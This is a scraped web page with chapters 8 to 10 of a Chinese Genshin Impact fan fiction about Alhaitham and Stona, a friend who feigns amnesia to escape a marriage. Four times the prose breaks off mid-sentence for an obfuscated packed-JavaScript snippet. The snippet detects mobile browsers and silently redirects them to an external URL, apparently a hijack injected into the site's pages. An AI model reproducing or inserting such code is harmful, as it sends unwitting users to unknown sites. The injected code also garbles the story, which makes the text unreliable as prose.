所以,小时候的斯托娜应该和他一样,也没有见过兰那罗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118078|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而离开须弥后,斯托娜更不可能遇到兰那罗。 但艾尔海森认为,斯托娜在听摊主讲兰那罗的故事的时候流露出来的惊讶情绪,似乎有些过头。 “所以大人看不到兰那罗吗?”斯托娜问。 这就是艾尔海森觉得奇怪的地方了。 “传说生物”基本等同于“由人类想象出来的生物”,当一个人听说某种传说中的生物只有小孩子能看到、大人看不到的时候,是不会追问“所以大人看不到这种生物吗”这种问题的,因为传说是由人虚构出来的,自然是怎样编造都可以。 “只有小孩子才能看到xx”在神话传说、童话故事以及鬼故事中都是很常见的设定,这只是个设定而已,并没有科学依据,这种设定存在的目的是为了编造故事,而不是让人质疑,因为它是虚构的,质疑虚构的事物根本毫无意义。 但是斯托娜却提出了质疑,就好像她曾经有过不符合“大人看不到兰那罗”这一设定的亲身经历一样。 “一般来说是这样,不过也有种说法是童心尚存的人或心地纯洁的大人也是有可能见到兰那罗的。”摊主解释说。 “这样啊……”斯托娜看着摊位上的兰那罗木雕,若有所思。 “你之前见过兰那罗吗?”艾尔海森问。 “我……不太确定,”斯托娜皱了皱眉,“好像有很模糊的印象,不过也可能只是梦里见过吧。” “啊,很有可能,我前几天还听到有客人说做梦梦到了和兰那罗一起跳舞呢,”摊主说道,“最近大家又像小时候一样开始做梦了,是很神奇的体验啊。梦到兰那罗的话,说不定会有好事发生哦。” “欸?最近才开始做梦?难道须弥人在长大之后就不会做梦了吗?”斯托娜转头询问艾尔海森。 这些年来,艾尔海森在写给斯托娜的信件中没有提过须弥人在成年之后不会做梦的事,因为他很小的时候就不做梦了,而斯托娜在离开须弥的时候还是小孩子,身处蒙德并不会被教令院偷走梦境,所以斯托娜其实一直都可以做梦。 梦对于斯托娜而言是很寻常的话题,而梦对于艾尔海森来说却不是他生活的一部分,并且他们多年来的信里不会聊这么私人的事,所以斯托娜直到现在才知道须弥人在成年之后是没有梦的。 “嗯,不过是人为原因造成的,你感兴趣的话我之后解释给你听。总之现在须弥的成年人都可以做梦。”艾尔海森简单地说道。 斯托娜慢慢点了点头,又问他:“你平时也会做梦吗?” 艾尔海森轻轻扬眉:“为什么会这么问?我看起来不像是会做梦的人吗?” “啊,不是,我只是觉得你不像是会对梦境感兴趣的那种人。因为你看起来很……嗯……”斯托娜思考着措辞,“很理智,应该不会喜欢梦境里无序的感觉吧?” “是吗。”艾尔海森不置可否。 他不太想聊这个话题,尤其不想和斯托娜聊这个话题。 他喜欢稳定的生活,喜欢让生活里的一切充满秩序。 但梦是混乱的,他小的时候就不喜欢做梦的感觉,现在就更谈不上喜欢了,因为现在他的梦境里总是会出现斯托娜,这让他感到心神不宁。 8. 第 8 章 第一次使用拐杖的感觉很奇妙,身体忽然变成了不受大脑支配的部件,原本仅靠习惯和条件反射的动作,现在需要很多刻意的思考才能完成。 但斯托娜觉得自己能克服。 拄着拐杖在须弥城里逛了两个小时之后,她对拐杖的使用已经越来越熟练了。 尽管左腿上打了石膏,但斯托娜认为自己完全可以胜任需要四处跑腿的工作,只不过她的自信被艾尔海森泼了冷水,对方显然不认为她目前的状况适合在须弥城跑来跑去。 但他们的分歧没有进一步升级,因为须弥城的其他人在看到她左腿的状况之后就纷纷婉拒了她的工作请求。 最终是一个玩具摊位的摊主同意给她一份工作,这份工作每天只需要工作半天的时间,工作内容是向过往行人售卖名为兰那罗的木质雕像。 斯托娜在第一眼看到摊位上的雕像的时候,心里忍不住小声尖叫了一下。 这些雕像虽然样子各不相同,但可以看得出来,摊主雕刻的和她之前在雨林里遇到的那个绿色小动物属于同一物种。 摊主说这小动物叫做兰那罗,传说只有小孩子才能看到。 传说,斯托娜注意到了摊主口中的这个词。 原来这小动物都没有被须弥学术界证实真的存在,还只是个传说而已。 斯托娜不满十岁时就离开了须弥,她小时候又不喜欢读书,连童话书都懒得读,所以并不清楚关于兰那罗的传说。 摊主说只有小孩子才能看到兰那罗,可她早就不是小孩子了,为什么会—— 难道是她太幼稚了吗?心智太不成熟,所以被兰那罗当成了小孩子? 虽然之后摊主解释说有时候大人也是可能见到兰那罗的,但这并没有让斯托娜的心情好起来。 总觉得成年之后能看到兰那罗会被人嘲笑呢,“都是成年人了却还像个小孩子”之类的,一定会被人这样调侃吧? 从这个角度来考虑的话,自己能看到兰那罗似乎不是什么值得高兴的事情。 不过好在她能看到兰那罗,否则她可能已经因为误食了剧毒蘑菇而死在雨林里了。 兰那罗救了她的命,她不可以对自己的救命恩罗这么不礼貌,要心怀感激才对。 斯托娜看了艾尔海森一眼,心想,像他这么聪明早熟的人,一定没有见过兰那罗。 而且,如果他以前见过兰那罗的话,一定会告诉她的。 艾尔海森很小的时候就喜欢看书,给小孩子看的童话书他可能在还是小孩子的时候就不感兴趣了,但出乎斯托娜预料的是,艾尔海森似乎早就知道关于兰那罗的传说,甚至还为她科普了兰那罗的故事。 不过仔细想想也不奇怪啦,兴许艾尔海森在识字阶段的时候还是读过几本通俗易懂的童话书的,所以知道兰那罗这种生物。 “如果觉得没问题的话,明天就可以来上班了。”摊主摸着一个兰那罗木雕的脑袋,对斯托娜说道。 于是,第二天早上,斯托娜早早离开医院,来到了玩具摊位。 从家里穿出来的衣服已经连补救都没有办法补救了,所以她昨天晚上紧急买了新的衣服,总不能工作的时候也穿着医院的病号服。 买衣服的钱也是艾尔海森借给她的,斯托娜暗自提醒自己,等领到薪水之后就把之前吃饭的钱连同买衣服的钱一起还给艾尔海森。 斯托娜到达玩具摊位的时候,摊主已经到了,摊主正在埋头雕刻新的兰那罗木雕。 据摊主解释,她在雕刻的时候不喜欢中途停下,但既要负责雕刻又要负责向过路行人推销木雕很耗费精力,为了专心雕刻,她才决定找一个人帮忙。 至于为什么只招兼职不招全职员工,是因为资金有限,她付不起全职员工的薪水。 摊主在与斯托娜简单寒暄之后就沉浸在了雕刻中。 斯托娜检查了一遍摊位上已经雕刻好的兰那罗木雕,确保每一个木雕的正面都面对着行人,然后等待顾客的到来。 “医护人员说你二十分钟前刚刚从医院离开,你拄拐走路的速度已经超过了大多数用两条腿走路的人。”艾尔海森出现在摊位面前。 “如果昨天的餐馆老板肯给我一个外送餐品的工作机会,他一定不会失望的,”斯托娜扬起嘴角,“教令院的上班时间这么早啊。” “其实还好,我只是顺路来看看你对新工作适应得怎么样,所以提前了几分钟出门。” “到目前为止,我适应得很不错,你可以放心去工作了。” 艾尔海森说:“我的工作并不需要一直待在教令院。” 斯托娜不知道这话是不是真的,但不管怎样,总不能因为自己的缘故影响艾尔海森的日常生活:“好吧,虽然不太清楚你平时工作的内容,但祝你工作顺利。” “谢谢,也祝你工作顺利。” 艾尔海森却没有转身离开,而是研究起了离他最近的一个兰那罗木雕。 “你对兰那罗木雕感兴趣吗?”斯托娜问。 “你呢?”艾尔海森反问,“你似乎对兰那罗木雕……准确来说,你似乎是对兰那罗很感兴趣。” “我蛮喜欢的,都想自己买一个了。”斯托娜抱起一个兰那罗木雕,木雕的大小比她之前见到的真的兰那罗还要大一些,而且挺重的,很有分量感,“但买了之后只能先放在医院里,兰那罗应该不会喜欢医院的病房吧?” “这只是木雕而已,不是真的。”艾尔海森说。 就知道他会这么说。 “虽然不是真的,但还是……而且病房里也没有合适的地方放。” 艾尔海森想了想,说:“可以暂时放在我家。” 斯托娜的目光从木雕转移到了艾尔海森脸上。 她怀疑自己听错了。 “欸?放在你家?” 艾尔海森点头:“我家不是病房,也有足够的空间存放这种大型木雕——” “不,等等,”斯托娜打断了他的话,“这些都不是重点吧?为什么我买的木雕要放在你家?” 艾尔海森看着她,似乎认为这并不是个需要讨论的问题,然后他才开口解释道:“一个失忆而且受了伤的蒙德人独自在须弥城居住,恐怕多有不便。” “可是……可是我几乎不认识你,我并不打算在出院之后住在你家,我可以自己租房子的。” “须弥城的房租是整个须弥最高的,仅次于奥摩斯港,兼职的薪水不足以支付房租。”艾尔海森说。 好、好残酷的现实。 斯托娜转身问摊主:“老板,可不可以让我全职在这里打工?” 摊主抬起落满了木屑的脑袋:“全职可以,但不涨工资哦。” “那就算了。” 斯托娜开始考虑要不要打两份工。 两份兼职的薪水加在一起的话,应该接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118079|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近全职工作的薪水吧?她就有足够的钱来—— “即使是两份兼职,恐怕也难以负担须弥城昂贵的房租,”艾尔海森就像能看透她在想什么一样,毫不留情地说道,“在须弥城工作的人有很多,但他们大多并不在须弥城中居住,因为这里的房租太高了。” “那我也可以到须弥城外面的地方租房子嘛,大不了就是每天的通勤时间长一点而已。” “恐怕没有这么简单。” 接下来,艾尔海森用无可辩驳的逻辑给她算了一笔账: “须弥城中的道路还算平坦,出了须弥城后,道路的坡度增加,地势也比较崎岖,因此通勤时间并不是‘长一点’而已。 “设想一下,你每天需要提前起床,徒步来到须弥城打两份工,晚上再徒步离开须弥城,而且是在你的伤还没好、对须弥完全不熟悉的情况下。你确定要这样吗?” 不,她一点都不确定,她在冒出“只要打两份工、在须弥城外面租房子就可以了吧”这个念头的时候,根本没考虑这么多。 听起来真的是很辛苦的生活,但咬咬牙的话,还是能过的。 “我——” “你执意不住在我家,是有什么顾虑吗?”艾尔海森问。 他一副公事公办的样子,就好像他们现在讨论的问题不是她为什么不想住进他家,而是其他很严肃的学术问题一样。 “不,不是这样的。我只是不想太麻烦你。” 艾尔海森皱眉:“你为什么会这么想?刚才我所说的你选择不住在我家的未来似乎更麻烦吧?” “这不一样,那样的未来里只有我在麻烦自己,不会影响你。”斯托娜提出异议。 “但即使是那样的未来也同样会影响到我,”艾尔海森轻易反驳了她的话,“作为你的朋友,你搬出须弥城后会增加我照顾你的成本,就像你选择住在须弥城外会增加生活成本一样。” “但是你不需要强迫自己照顾我啊,我可以照顾我自己。”斯托娜说。 艾尔海森抱起双臂:“所以我们又回到了刚才的问题,你到底是出于怎样的顾虑才拒绝我的提议?” “我……” 总不能说是出于多年来对他的愧疚,以及担心住在同一屋檐下“失忆”这一谎言会很容易被拆穿这样的理由吧? “鉴于你目前记忆尚未恢复,我们相当于昨天才刚刚认识,我应该还没有做出会引起你反感的事情。而且我们是多年的朋友,通过一起回忆过去的事情可能会对你失忆的情况有所改善,”艾尔海森继续说道,“如果你只是因为‘不想麻烦我’这一点原因而拒绝我的提议的话,是否有些不太明智?” 斯托娜想要再挣扎一下,但她想不出其他挣扎的理由了。 “我可以以低于须弥城内平均房租的价格把房子租给你,这样一来,你每天的通勤时间不会太长,而且在须弥城内居住也相对安全。”艾尔海森最后,怎么说呢,就像把压死骆驼的最后一根稻草放到了骆驼身上。 斯托娜没有办法拒绝了,如果在这样的情况下仍然拒绝对方的提议的话就太奇怪了,会显得她在刻意避开他,而艾尔海森只要顺着这个思路简单思考一下,就很可能会得出“她根本没有失忆”这个结论。 所以,虽然听起来很矛盾,但为了把“我其实没有失忆”这件事尽可能隐瞒下去,她只能答应艾尔海森的提议,在出院之后住进艾尔海森家里。 9. 第 9 章 与在玩具摊位兼职的斯托娜告别之后,艾尔海森和昨天一样,并没有去教令院,而是离开须弥城,再次回到了道成林进行调查。 他返回昨天发现的山洞,沿路一直往东走,直到到达须弥的边境线附近才停下脚步。 雨林的水资源充足,须弥每天的光照时间长,所以雨林里的各类植物每天都在疯长,连土壤都像是活的一样,每天都在变化。 艾尔海森一路上没有找到任何有价值的线索,但他并不失落,因为找不到线索才是正常的,如果真的找到了什么线索,他反而会怀疑线索是有人故意留下让他发现的。 没有发现劫匪的踪迹,也没有发现尸体。 他昨天在离开化城郭的时候拜托了柯莱留意最近几天在雨林里遇到的蒙德打扮的游客,不过柯莱也没有什么发现,道成林一般是冒险家和跨国经商的商贩偏爱的选择,游客更喜欢乘船到达奥摩斯港后再北上抵达须弥城,不会选择从道成林走。 汇总以上这些信息之后,艾尔海森得出结论,斯托娜的未婚夫应该没有和她一起来到须弥,更没有遇害。 这进一步证实了“斯托娜逃婚”的推测。 另外,今天早上他提出斯托娜出院之后住在他家的提议的时候,斯托娜对这个提议表现得很抗拒,即使他罗列了这一提议的合理之处之后,斯托娜仍然没有对这个提议表现出足够的热情。 如果说对方对这一提议的抗拒是出于不想被他发现她并没有失忆的话,就说得通了。 而如果斯托娜没有失忆,那么她肯定知道自己未婚夫的下落。 假设她是和未婚夫一起来到须弥,未婚夫被劫匪抓走,她一定会说出来,但她没有,这说明她的未婚夫是安全的。 斯托娜在醒来后的第一反应是逃跑,但之后她改变了主意。如果她的未婚夫也在须弥的话,她不会这么快就决定暂时留在须弥。 所以,斯托娜的未婚夫没有和她一起来到须弥。 但婚期将近,斯托娜却只身一人从蒙德来到了须弥,这不符合常理。 她到现在也没有给远在蒙德的父母写信,说明她不希望父母知道她目前在哪里。 唯一的解释就是,她是为了逃避婚礼才离开蒙德。 离开道成林的时候,把思路梳理清晰的艾尔海森已经可以肯定,斯托娜并没有失忆,而且她这次独自离家外出的目的是逃婚。 回到须弥城的时候,时间接近中午,艾尔海森在距离兰那罗木雕摊位不远的地方遇到了刚刚下班的斯托娜。 斯托娜看起来很开心,她的手里还有一个神之眼大小的兰那罗木雕。 “你看一下这个。”斯托娜把木雕递给他。 艾尔海森接过,这个木雕看上去只有他今天早上看到的木雕的十分之一大小,相比之下,做工粗糙了一些。 “你觉得怎么样?”斯托娜问。 对方的问题过于笼统,艾尔海森也给出了相对笼统的回答:“还不错。” “对吧?今天我向路人推销木雕的时候,有不少人都停下来听我讲,但最终付钱把木雕买下的人却很少。因为大家都觉得木雕太大了,不方便携带,搬回家后也没有合适的地方放,所以我就向摊主提议,可不可以试着制作小一点的木雕。” 可以轻易放在手心携带的木雕看上去比大型木雕更加可爱,而且价格低廉,带回家后也不用担心没有足够的空间放置,所以第一批小木雕在刚刚上架之后很快就卖光了。 “你手里拿的这一个是摊主的第一个小型木雕试验品,所以雕工有些粗糙,没什么细节,”斯托娜解释说,“摊主对自己的作品要求很高,所以她不打算出售这一只兰那罗木雕,而是要把它丢掉的。我觉得丢了可惜,所以让摊主把它送给我了。” 艾尔海森看着手中的木雕。 ——难怪制作工艺这么粗糙,原来是试验品啊。 不过,连这种连半成品都不算的东西,总感觉斯托娜有些过于在意了。 没想到她会这么喜欢兰那罗。 在艾尔海森的印象中,斯托娜对可爱的东西没有什么偏爱,她小时候最喜欢的事是四处跑来跑去,或者在树下躺着什么也不做。 不过毕竟已经过去了这么多年,可能她发展了新的爱好吧。 “你喜欢的话就送你了。”斯托娜说。 艾尔海森想了一下,猜测对方可能是看他对这个木雕有点在意,以为他喜欢。 他对兰那罗不感兴趣,对木雕也不感兴趣,对兰那罗木雕的兴趣也不大,而且他看得出来斯托娜很喜欢这个小东西,他并不打算夺人所爱。 “不,我不喜欢木雕。” 他当然能想出比“我不喜欢木雕”更委婉的理由来拒绝,但如果斯托娜把委婉的理由误解为他真的对木雕感兴趣的话,斯托娜说不定会坚持要他收下。 这不是艾尔海森想要的结果,所以他决定还是实话实说。 “好吧,”斯托娜看上去没有因为他过于直白的回答而影响心情,她收回了兰那罗木雕,改变了话题,“说起来,须弥的图书馆在哪里?” 艾尔海森愣了愣,以为自己听错了:“去图书馆是为了……” “去图书馆当然是为了看书,还能是因为什么?”斯托娜晃了晃手中的兰那罗木雕,“难道你以为我想去图书馆里卖这个吗?我看起来就那么不聪明吗?” “不,我不是这个意思。只是……须弥的纸质书借阅手续比较麻烦,而且从前的你对于读书并没有太大的偏好。” “你的意思是说我以前不喜欢读书?” “确切来说,是‘很厌恶’才对。” 斯托娜抿了一下嘴唇:“这样啊。” 是为了向他证明她是真的失忆,所以心血来潮要借几本书来读吗?——这个念头不可避免地出现在艾尔海森的脑海。 斯托娜摸索着手中的木雕,似乎在思考。最终她说:“那就算了,直接回医院好了。” “虽然借阅手续麻烦,但如果是以我的名义借阅的话,申请流程可以省去,”艾尔海森说,“须弥的图书馆就在教令院内部,离这里不远。” 不管斯托娜是不是真的想读书,既然对方提出了要求,他就不能不理会。 “真的吗?但是会不会太麻烦你了?刚刚下班就又回去教令院什么的……” “不会,我并没有讨厌教令院到连中午返回一次都感到沮丧的地步。” 斯托娜听出了他的弦外之音:“所以你的确有点讨厌教令院?” “最近教令院里……有点乱。”艾尔海森说。 在大贤者被正式推选出来之前,教令院里的混乱局面还会一直持续下去。 “乱?” “嗯,物质层面和精神层面都有点乱。” “啊……那现在去借书是不是不合适……” “不会的,只要避开麻烦的家伙就好。” 中午的教令院和平时没什么不同。 教令院的学生和学者做起研究来不分白昼黑夜,往往也不会为了“吃午饭”这种小事而中断写论文的进程,只要还没饿到眼冒金星,他们就不会从座位上离开。 ——饿晕过去的话,就更没办法从座位上离开了。 教令院里没人认识斯托娜,艾尔海森在教令院又十分低调,虽然做过一段时间的代理贤者让他收获了不小的关注,但他已经卸任,并明确表示对大贤者这一职位不感兴趣,因此,原本对他抱有敌意或是期待的人都渐渐疏远了他,六大学院对大贤者之位的争抢他也得以置身事外。 ——至少大多数时候他还是能置身事外的,除了个别情况下不得已在会议上露个脸。 总之,他和斯托娜在偌大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118080|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的教令院里显得可有可无,根本没人在意他们两个,这正合他心意。 直到柯莱和珐露珊发现了他们。 “这不是艾尔海森吗?还以为你最近会尽量避免到教令院来呢,怎么会中午来了?” 年纪轻轻的珐露珊前辈也参加了前不久的大贤者推举会议,艾尔海森和这位前辈谈不上有什么交情,但因为同是知论派出身,所以自然而然有一点同门情谊,之前艾尔海森在会议中途悄悄溜走的时候,这位前辈还贴心地往前挪动了椅子好让他经过。 艾尔海森担心的不是这位珐露珊前辈,而是柯莱。 “珐露珊前辈,柯莱,”艾尔海森说,“这位是斯托娜,前不久刚从蒙德来到须弥,是我的朋友。” 珐露珊对新鲜面孔总是感兴趣的,毕竟每一个新鲜面孔都有可能成为她的学生。 “是到须弥求学的吗?打算考进教令院?”珐露珊前辈一开口就直奔主题,“能从那么远的地方来须弥求学,想必已经做好了觉悟。考虑加入我们知论派做我的学生吗?艾尔海森也是知论派的哦,和前辈我一样。” 斯托娜看上去有些慌乱:“谢谢前辈的夸奖,但我没有做学术研究的天赋,恐怕连教令院的入学考试都通过不了。” 珐露珊前辈只要被别人恭敬地称为“前辈”,就会很开心。 “哎呀,年轻人不要这么妄自菲薄嘛,学术思维是可以逐步培养的。我看你的态度很端正,意志想必也很坚强,如果足够勤勉的话,考进教令院绝对不成问题。说起这个,柯莱,不如你也以考进知论派作为目标好了!” 珐露珊前辈,竟然企图一天之内收两个学生。 科莱面露难色,她尴尬地笑了笑,然后熟练地转移了话题,只不过话题的走向对于艾尔海森来说很危险:“对了,我今天在道成林发现了一个蒙——” “柯莱,”艾尔海森赶在柯莱说出“德”字之前打断了她的话,“我有些事需要你帮忙转告给提纳里,我们去那边聊吧。” “欸?好的,那珐露珊前辈,斯托娜小姐,失陪一会儿。” 柯莱虽然有些疑惑,但仍然跟着艾尔海森走了。 他们离开的时候,斯托娜向艾尔海森投来求助的眼神。 但是没办法,柯莱的话不能被斯托娜听到,所以只能先留她和珐露珊前辈在一起了。 来到僻静的角落,艾尔海森随便找了一个理由:“是这样的,我最近发现了一款新的咖啡豆,正想给提纳里寄几袋过去。” 柯莱点点头:“好的,我会转告给师父的。还有其他事吗?”她似乎觉得像寄咖啡豆这种事情不需要避开珐露珊前辈和斯托娜单独说。 但既然她并没有将这个疑惑问出口,艾尔海森当然不会自找麻烦,他立刻转移了话题:“没有。刚才你想跟我说什么?” “哦,我今天在道成林救助了一个蒙德打扮的人,他不是冒险家,是个游吟诗人,不知道他是不是你要找的那个人。”柯莱说。 “他有没有说到须弥来的原因?” “嗯,我问过了,他说是因为最近灵感枯竭,所以想换个环境,希望可以获得新的灵感。” 艾尔海森在化城郭拜托过柯莱,让她留意在道成林迷路的蒙德打扮的人。 不过到处寻找灵感的游吟诗人显然不会是斯托娜的未婚夫,如果对方真的是斯托娜的未婚夫的话,斯托娜根本不需要逃婚,因为以游吟诗人在蒙德的社会地位,根本不可能逼迫斯托娜和自己结婚。 “他不是我要找的人,”艾尔海森说,“不过我要找的人已经找到了,你不需要为我留意了。另外,为了避免不必要的麻烦,我拜托你留意蒙德人的这件事,希望你可以对其他人保密。” “对师父也不能说吗?” 艾尔海森点点头:“你最好忘掉这件事,就当从来没有发生过。” 10. 第 10 章 珐露珊前辈还在滔滔不绝地介绍着加入知论派的种种好处,斯托娜独自一人承受着前辈这无法拒绝的热情,不断在心中暗自祈祷,希望把自己置于如此境地的艾尔海森能尽快回来。 终于,艾尔海森聊完了事情,把她从热情前辈的手中解救了出来。 “抱歉,刚才有点事情,所以离开了一会儿,珐露珊前辈有为难你吧?” 哈,看来艾尔海森很了解这位前辈嘛。 “既然你这么了解这位前辈,刚才至少让我跟你一起走啊,为什么要把我留在那里?”斯托娜不满地说,“就算你们有私事要谈,我和你们一起离开之后我可以再回避的呀。” “抱歉,是我没有考虑周全。”艾尔海森简单道了歉,并没有多作解释。 “如果你再晚来五分钟的话,我就要被迫答应珐露珊前辈参加教令院的入学考试了,太恐怖了。”斯托娜摇摇头,把自己在考场上面对试题时脑袋一片空白的画面赶出了脑海。 “其实教令院的入学考试没有你想象得那么可怕……但这并不能作为我把你独自留下的理由,”艾尔海森说,“作为补偿,我可以免除你在须弥城内居住期间的全部房租。” 斯托娜愕然。 虽然那位珐露珊前辈热情起来是让她有点招架不住,但是免除房租这种补偿未免太过头了吧? “不需要啦,今晚请我吃饭就好了,”斯托娜不等对方开口就转移了话题,“不过珐露珊前辈看起来好年轻,她一定特别厉害吧?” “从各种层面上来说,珐露珊前辈都是教令院很特别的存在。” 能让艾尔海森给出这么高的评价,看来那位前辈真的是很了不起的人啊。 他们边聊边走进了智慧宫,斯托娜的注意完全被这里吸引了。 不愧是智慧的国度,教令院里的图书馆竟然这么大,简直比蒙德大教堂还要大许多。 就算是小时候不爱读书的自己,看到面前的景象后一定也会心生感慨的。 艾尔海森就不像她这么惊讶了,他神色如常,询问她想借什么类型的书。 也对,艾尔海森一定经常到图书馆来,早就习惯这里了。 不知道这里的书他是不是都读过一遍。就算没有全部读完,一定也把他感兴趣的书都读完了吧? “说起来,”艾尔海森忽然开口,“失忆的人还能记得文字的含义吗?” 斯托娜愣了一下,这她还真没想过。 应该是还记得的吧,如果不是彻底失忆到连该怎么吃饭睡觉都忘记的话,字应该还是能看懂的吧? 但艾尔海森不会问愚蠢的问题,他既然问了,斯托娜就开始不自信了。 “这个……我不太清楚,不过我是还记得的。”她说。 所幸艾尔海森只是简单点点头,没有展开这个话题。 “唔……这里有没有简单一点的书?”斯托娜问。 “简单……比如科普读物?或者诗歌散文?” “可以。” 根据这几个方向,艾尔海森带她去了相关的区域选择书籍。 斯托娜借了一本散文集,还有一本《雨林危险植物大全》。 “不错的选择,”艾尔海森说,他从书架上抽出另外一本书,递给斯托娜,“要不要把这本也借走?” 书的封面上写着:《舌尖上的毒蕈——有毒蕈类识别简易入门》。 真是的,他是有读心术吗?为什么总能准确猜到她在想什么啊。 斯托娜翻开这本书,没翻几页就发现了自己曾经误食过的毒蘑菇的图鉴。 好在是毒性不强的蘑菇,如果食用量不大的话,一般只是昏迷而已,没有明显的副作用。 “‘林地野鸭伞,因为外形与张开翅膀的野鸭相似而得名。’”艾尔海森读出了图鉴上的文字解释,“‘毒性不强,中毒后症状多以昏迷为主,在道成林一带比较常见。’现在正是多雨的季节,道成林里应该长了很多这种蘑菇。” “道成林……刚才柯莱是不是也提到了道成林?是因为最近误食林地野鸭伞的人太多,引起了教令院的重视吗?”斯托娜问。 “据我所知,不是。误食毒蘑菇的事经常发生,这不是教令院负责的领域。” “道成林具体在哪里?” “须弥城东北方向,稍等。” 艾尔海森找来了一张须弥地图,在地图上指出了道成林和须弥城的位置:“这里是须弥城,道成林在这里。” 斯托娜看着地图,尽管这只是须弥的地图,但在道成林右侧与璃月接壤的部分,地图上也做了标示。 看来她就是在道成林遭遇了抢劫,之后在道成林迷路,误食了名为林地野鸭伞的毒蘑菇。 斯托娜的视线往地图的左上方看去,她小时候的家就在须弥城的西北方向。 小孩子的活动范围是很小的,她以前在须弥的时候最远也就是在家附近玩,虽然也去过须弥城,但大多数情况下都是有父母陪同,至于道成林那么远的地方,她连听都没听说过。 “你从前的家就在这边,”艾尔海森注意到了她的视线,他问,“是想起什么了吗?” 斯托娜摇头否认:“没有。” 艾尔海森没有追问,而是又把话题转回了道成林:“道成林东侧因为与璃月,也就是须弥周边的国家接壤,所以道成林附近发生的沿途抢劫事件相对须弥其他地区来说比较频繁,我猜想你有可能是在那里遭遇了抢劫。” “有可能吧。” “要不要去道成林看看?如果你的确是在那里遇到劫匪,虽然现在去查劫匪的行踪恐怕机会渺茫,但故地重游对恢复记忆会有帮助。”艾尔海森提议。 去道成林的话,说不定能再次遇到救她的兰那罗。 斯托娜很想去道成林,但她不能和艾尔海森一起去。和他一起去的话,兰那罗可能不会现身,而且如果故地重游后她仍然宣称自己什么也想不起来的话,似乎不太现实。 “还是等我的伤好了之后再去吧,”斯托娜说,“现在我的腿不太方便。” 艾尔海森点点头:“你说得没错,是我考虑不周,抱歉。” “不需要道歉,你也是想帮我恢复记忆。” 他们最终借走了一本散文集和两本科普读物,斯托娜还以“想熟悉须弥的情况”为理由借走了须弥地图。 有了地图,去道成林找兰那罗的时候就不会迷路了。 当天晚上艾尔海森来医院看望斯托娜的时候,斯托娜已经把从教令院借来的散文集看完了,她现在正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118081|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看《舌尖上的毒蕈——有毒蕈类识别简易入门》。 斯托娜小时候不喜欢读书,看到艾尔海森读的那种密密麻麻全是文字、连一幅插图都没有的书,她就觉得头疼。 但后来去了蒙德、读了寄宿制学校之后,学校功课繁重,枯燥无聊的大部头是必读书目,她被逼着读了很多不喜欢的书,但阅读速度倒确实快了许多。 学校里没有什么娱乐活动,连看点闲书都要小心被发现,整个宿舍的人一起想办法把诗集和小说等带进学校,然后轮流传阅。 从教令院借来的散文集大多是描写风景的散文,读起来不怎么有趣,但斯托娜在医院里无事可做,闲来无聊,最终还是把这本书看完了。 《舌尖上的毒蕈——有毒蕈类识别简易入门》虽然书名有些戏谑,但内容是很严肃的科普。 好在只是入门级别的难度,所以没有深奥难懂的知识,只是介绍了毒蘑菇长什么样子、在哪片区域分布较广和误食后的中毒症状等等,因为列举的中毒症状各不相同,读起来倒也有点意思。 “来的路上顺便买了份甜品,”艾尔海森递给她一个纸袋,“千层酥酥趁热吃口感最好。” “谢谢你啊。” 千层酥酥,这蒙德钩钩果落落莓嘟嘟莲一样的叠词起名法听起来真是莫名亲切啊,而且艾尔海森一本正经说叠词的样子也很有趣。 斯托娜没忍住笑了,她打开纸袋,甜甜的热气从纸袋里飘出来。 “怎么了?”艾尔海森问。 “没什么,只是听你说叠词有种很奇妙的感觉。” “我可以理解为你在嘲笑我吗?” “不是的!我没有恶意,只是……觉得叠词有点可爱而已。” 斯托娜低下头默默吃千层酥酥。对方以为她还没有恢复记忆,她不能向对方解释自己是因为想起了蒙德的事才笑,对方因此而认为她是在嘲笑他是很正常的逻辑。 艾尔海森沉默了几秒钟,然后开口:“墩墩桃、甜甜花、牦牦驮兽,这一类词汇的词形都是112,也有词形为1233的词汇,比如绝云椒椒晴天鳅鳅兽米香香黄油蟹蟹……” 艾尔海森一口气说了很多叠词,而且还有要一直说下去的趋势。 